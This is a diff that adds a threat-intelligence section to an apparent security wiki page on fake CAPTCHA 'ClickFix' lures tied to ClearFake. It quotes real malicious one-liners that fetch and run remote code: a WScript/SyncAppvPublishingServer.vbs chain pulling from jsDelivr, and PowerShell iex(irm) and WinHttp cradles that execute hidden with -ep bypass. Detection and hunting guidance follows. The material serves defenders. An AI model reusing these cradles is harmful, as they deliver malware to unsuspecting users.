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Expand Up @@ -186,6 +186,31 @@ clone-a-website.md
homograph-attacks.md
{{#endref}}

## 2026 fake CAPTCHA / ClickFix evolutions (ClearFake, Scarlet Goldfinch)

- ClearFake continues to compromise WordPress sites and inject loader JavaScript that chains external hosts (Cloudflare Workers, GitHub/jsDelivr) and even blockchain “etherhiding” calls (e.g., POSTs to Binance Smart Chain API endpoints such as `bsc-testnet.drpc[.]org`) to pull current lure logic. Recent overlays heavily use fake CAPTCHAs that instruct users to copy/paste a one-liner (T1204.004) instead of downloading anything.
- Initial execution is increasingly delegated to signed script hosts/LOLBAS. January 2026 chains swapped earlier `mshta` usage for the built-in `SyncAppvPublishingServer.vbs` executed via `WScript.exe`, passing PowerShell-like arguments with aliases/wildcards to fetch remote content:

```cmd
"C:\WINDOWS\System32\WScript.exe" "C:\WINDOWS\system32\SyncAppvPublishingServer.vbs" "n;&(gal i*x)(&(gcm *stM*) 'cdn.jsdelivr[.]net/gh/grading-chatter-dock73/vigilant-bucket-gui/p1lot')"
```

- `SyncAppvPublishingServer.vbs` is signed and normally used by App-V; paired with `WScript.exe` and unusual arguments (`gal`/`gcm` aliases, wildcarded cmdlets, jsDelivr URLs) it becomes a high-signal LOLBAS stage for ClearFake.
- February 2026 fake CAPTCHA payloads shifted back to pure PowerShell download cradles. Two live examples:

```powershell
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -c iex(irm 158.94.209[.]33 -UseBasicParsing)
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h -c "$w=New-Object -ComObject WinHttp.WinHttpRequest.5.1;$w.Open('GET','https[:]//cdn[.]jsdelivr[.]net/gh/www1day7/msdn/fase32',0);$w.Send();$f=$env:TEMP+'\FVL.ps1';$w.ResponseText>$f;powershell -w h -ep bypass -f $f"
```

- First chain is an in-memory `iex(irm ...)` grabber; the second stages via `WinHttp.WinHttpRequest.5.1`, writes a temp `.ps1`, then launches with `-ep bypass` in a hidden window.

Detection/hunting tips for these variants
- Process lineage: browser → `explorer.exe` → `wscript.exe ...SyncAppvPublishingServer.vbs` or PowerShell cradles immediately after clipboard writes/Win+R.
- Command-line keywords: `SyncAppvPublishingServer.vbs`, `WinHttp.WinHttpRequest.5.1`, `-UseBasicParsing`, `%TEMP%\FVL.ps1`, jsDelivr/GitHub/Cloudflare Worker domains, or raw IP `iex(irm ...)` patterns.
- Network: outbound to CDN worker hosts or blockchain RPC endpoints from script hosts/PowerShell shortly after web browsing.
- File/registry: temporary `.ps1` creation under `%TEMP%` plus RunMRU entries containing these one-liners; block/alert on signed-script LOLBAS (WScript/cscript/mshta) executing with external URLs or obfuscated alias strings.

## Mitigations

1. Browser hardening – disable clipboard write-access (`dom.events.asyncClipboard.clipboardItem` etc.) or require user gesture.
Expand All @@ -208,5 +233,6 @@ homograph-attacks.md
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
- [The ClickFix Factory: First Exposure of IUAM ClickFix Generator](https://unit42.paloaltonetworks.com/clickfix-generator-first-of-its-kind/)
- [2025, the year of the Infostealer](https://www.pentestpartners.com/security-blog/2025-the-year-of-the-infostealer/)
- [Red Canary – Intelligence Insights: February 2026](https://redcanary.com/blog/threat-intelligence/intelligence-insights-february-2026/)

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